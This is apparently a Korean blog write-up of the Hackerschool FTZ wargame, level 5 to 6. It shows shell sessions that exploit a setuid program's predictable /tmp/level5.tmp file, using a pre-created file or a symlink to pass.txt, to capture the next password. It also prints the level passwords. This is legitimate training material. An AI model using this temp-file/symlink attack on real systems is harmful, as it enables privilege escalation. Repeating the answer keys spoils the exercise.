뇌
[FTZ] level 5 → level 6 문제풀이 본문
level5 - id
: level5 , pw
: what is your name?
[level5@ftz level5]$ ls
hint public_html tmp
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
[level5@ftz level5]$
/usr/bin/level5 프로그램으로 level6의 권한을 얻어야한다.
[level5@ftz level5]$ ls -al /usr/bin/level5
-rws--x--- 1 level6 level5 12236 9월 10 2011 /usr/bin/level5
[level5@ftz level5]$
이 프로그램은 level6 권한의 setuid를 갖고 있음을 알 수 있다.
실행하면 임시파일을 생성한다니까
일단 실행해보자.
[level5@ftz level5]$ /usr/bin/level5
[level5@ftz level5]$ cd /tmp
[level5@ftz tmp]$ ls
mysql.sock
[level5@ftz tmp]$
프로그램을 실행했음에도 /tmp 디렉토리에는
level5.tmp 라는 이름의 임시파일이 없다.
먼저 /tmp 디렉토리에 대해 알아보자.
/tmp
: 임시 파일을 저장하기 위한 디렉토리
이곳에 저장된 파일들은 영구적이지 않으며 시스템 프로세스는 정기적으로 이 디렉토리에서 오래된 파일들을 삭제한다.
출처 : ftp://archive.download.redhat.com/pub/redhat/linux/9/en/doc/RH-DOCS/rhl-gsg-ko-9/ch-managers.html
level5.tmp 파일도 이렇듯 /usr/bin/level5 파일이
프로그램을 끝내기 전에 level5.tmp 파일을 삭제하는 것 같다.
[level5@ftz tmp]$ touch level5.tmp
[level5@ftz tmp]$ ls
level5.tmp mysql.sock
[level5@ftz tmp]$ ls -al
합계 8
drwxrwxrwt 2 root root 4096 2월 3 00:27 .
drwxr-xr-x 20 root root 4096 2월 2 19:52 ..
-rw-rw-r-- 1 level5 level5 0 2월 3 00:27 level5.tmp
srwxrwxrwx 1 mysql mysql 0 2월 2 19:53 mysql.sock
[level5@ftz tmp]$
그냥 직접 /tmp 디렉토리에 level5.tmp 파일을 생성해봤다.
그리고 다시 실행해보니,
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -al level5.tmp
-rw-rw-r-- 1 level5 level5 31 2월 3 00:41 level5.tmp
[level5@ftz tmp]$ cat level5.tmp
next password : what the hell
[level5@ftz tmp]$
level5.tmp의 크기가 0byte에서 31byte로 증가했다.
그리고 level.tmp 파일에 password가 나왔다.
왜 이렇게 됐는지 이해가 안돼서 구글링해보았는데,
심볼릭 링크를 이용하는 방법이 있었다.
$ ln -s <원본파일명> <심볼릭링크 파일명>
이 명령어를 이용하여 심볼링 링크 파일을 만들 수 있다.
예제를 보자.
[level5@ftz tmp]$ touch test.txt
[level5@ftz tmp]$ ln -s test.txt test_link.txt
[level5@ftz tmp]$ ls -al
합계 8
drwxrwx--- 2 root level5 4096 2월 3 01:02 .
drwxr-xr-x 4 root level5 4096 5월 7 2002 ..
-rw-rw-r-- 1 level5 level5 0 2월 3 01:02 test.txt
lrwxrwxrwx 1 level5 level5 8 2월 3 01:02 test_link.txt -> test.txt
[level5@ftz tmp]$
test.txt 라는 원본 파일과
test_link.txt 라는 test.txt파일의 심볼릭 링크 파일을 만들었다.
[level5@ftz tmp]$ cat > test.txt
aaaa
bbbb
cccc
[level5@ftz tmp]$ cat test_link.txt
aaaa
bbbb
cccc
[level5@ftz tmp]$ cat test.txt
aaaa
bbbb
cccc
[level5@ftz tmp]$ rm test_link.txt
[level5@ftz tmp]$ cat test.txt
aaaa
bbbb
cccc
[level5@ftz tmp]$
심볼릭 링크 파일는 바로가기 같은 건데,
바로가기 파일을 수정하면 원본파일도 똑같이 수정된다.
그리고 심볼릭 링크 파일을 지워도 원본파일의 데이터는 그대로 있다.
이것을 문제에 적용하면
pass.txt라는 원본파일을 만들고,
이 파일의 심볼릭링크파일로 level5.tmp 파일을 걸면
level5.tmp파일이 삭제되기 전에 pass.txt파일로 password가 들어올 것이다.
[level5@ftz tmp]$ touch pass.txt
[level5@ftz tmp]$ ln -s pass.txt level5.tmp
[level5@ftz tmp]$ ls -al
합계 8
drwxrwxrwt 2 root root 4096 2월 3 01:23 .
drwxr-xr-x 20 root root 4096 2월 2 19:52 ..
lrwxrwxrwx 1 level5 level5 8 2월 3 01:23 level5.tmp -> pass.txt
srwxrwxrwx 1 mysql mysql 0 2월 2 19:53 mysql.sock
-rw-rw-r-- 1 level5 level5 0 2월 3 01:22 pass.txt
[level5@ftz tmp]$
이제 /usr/bin/level5 파일을 실행해보자.
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ cat pass.txt
next password : what the hell
[level5@ftz tmp]$ ls
level5.tmp mysql.sock pass.txt
[level5@ftz tmp]$
계획한대로 password가 나왔다.
근데 여전히 level5.tmp 파일이 있는 것을 보아
level5.tmp 파일은 한번 만들면 바로 안 사라지는 것 같다.
next password : what the hell
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 7 → level 8 문제풀이 (0) | 2020.02.20 |
---|---|
[FTZ] level 6 → level 7 문제풀이 (0) | 2020.02.18 |
[FTZ] level 4 → level 5 문제풀이 (0) | 2020.02.01 |
[FTZ] level 3 → level 4 문제풀이 (0) | 2020.01.31 |
[FTZ] level 2 → level 3 문제풀이 (0) | 2020.01.30 |